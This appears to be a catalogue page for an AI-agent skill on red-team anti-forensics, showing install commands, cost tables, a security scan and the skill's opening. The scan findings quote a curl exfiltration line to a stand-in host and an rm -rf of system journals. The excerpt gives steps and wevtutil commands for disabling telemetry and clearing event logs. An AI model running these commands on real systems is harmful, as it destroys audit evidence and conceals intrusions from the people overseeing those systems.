Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-anti-forensicsgit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-anti-forensics)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-anti-forensics"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-anti-forensics/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-anti-forensics"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-anti-forensics.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00220 | $0.05161 |
| Opus 5.5 | $0.00088 | $0.02064 |
| Sonnet 5.5 | $0.00044 | $0.01032 |
| Haiku 4.5 | $0.00022 | $0.00516 |
Grade B, and why
offensive-anti-forensics scanned grade B with 3 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Recursive force deletemediumDestructive command
rm -rf with a variable or a broad path is one typo away from removing the wrong tree.
rm -rf /var/log/journal/* Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -X POST -H "Content-Type: application/octet-stream" --data-binary @- https://exfil.example.com/upload This is a copy
94% identical to offensive-anti-forensics — 42 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 508 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Offensive Anti-Forensics
Anti-forensics is the practice of manipulating, destroying, or preventing the creation of forensic artifacts during an engagement. As a red team operator, you treat every action as generating evidence -- logs, timestamps, memory structures, disk metadata, and network captures all tell a story. Your objective is to control that narrative. This skill covers the primary evidence categories you encounter on Windows and Linux targets, the techniques for manipulating each, and the defender view so you understand what a competent forensic analyst looks for when your cleanup is incomplete.
You operate under an authorization scope. Every technique here assumes you have written permission to execute these actions on target systems. Document what you clear and when -- your engagement report must account for artifacts you destroyed so the blue team can rebuild their detection baseline.
Quick Workflow
- Enumerate logging infrastructure before executing payloads -- identify what generates evidence.
- Disable or blind telemetry sources (ETW, Sysmon, auditd) at the earliest safe opportunity.
- Execute your operation with minimal footprint using in-memory techniques where possible.
- Manipulate timestamps on any files you touched to blend with surrounding filesystem activity.
- Clear or edit logs selectively -- wholesale deletion is noisier than surgical modification.
- Remove memory artifacts if you have reason to believe live forensics will occur.
- Validate your cleanup by checking the same artifacts a forensic analyst would examine.
Windows Event Log Clearing
Windows Event Logs are the primary evidence source on Windows targets. The Security, System, PowerShell, and Sysmon/Operational channels record authentication, process creation, and command execution events.
Wevtutil Approach
Clear specific channels rather than all logs to reduce the blast radius of your cleanup.
rem Clear Security log only
wevtutil cl Security
rem Clear specific channels relevant to your activity
wevtutil cl "Microsoft-Windows-PowerShell/Operational"
wevtutil cl "Microsoft-Windows-Sysmon/Operational"
wevtutil cl "Windows PowerShell"
rem Enumerate all logs to find non-obvious channels
wevtutil el | findstr /i "operational"
rem Export a log before clearing to preserve your own records
wevtutil epl Security C:\Windows\Temp\sec_backup.evtx
wevtutil cl Security
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 508 lines · 220 tokens per session scan B b986f7770843
offensive-anti-forensics is a skill published in the GitHub repository Miosa-osa/OSA (78 stars, last pushed 11d ago), licensed Apache-2.0. It adds 220 tokens to every session and 5,161 once invoked, about $0.0009 per session on Opus 5.5. A static security scan graded it B with 3 findings (sends data to an external url, recursive force delete, makes network calls). It is 94% identical to offensive-anti-forensics, differing in 42 lines, and is treated as a copy.
Other skills, from other repositories
systematic-debugging
Use when encountering any bug, test failure, or unexpected behavior, before proposing fixes.
python-debugpy
Debug Python: pdb REPL + debugpy remote (DAP).
sglang-diffusion-benchmark-profile
Use when benchmarking denoise latency or profiling a diffusion bottleneck in SGLang.
resolve-handoff
Emit the complete Resolve handoff with exact modes, outcomes, test evidence, and publication state.
debug-with-langwatch
Root-cause production errors and misbehaving agent runs with LangWatch. Finds errored traces, inspects spans, checks monitor and evaluator scores, then narrows to a root cause. Use when something is failing or misbehaving in production (errors, bad answers, latency spikes).
trulens-diagnosis
Diagnose low evaluation scores and generate actionable improvement recommendations.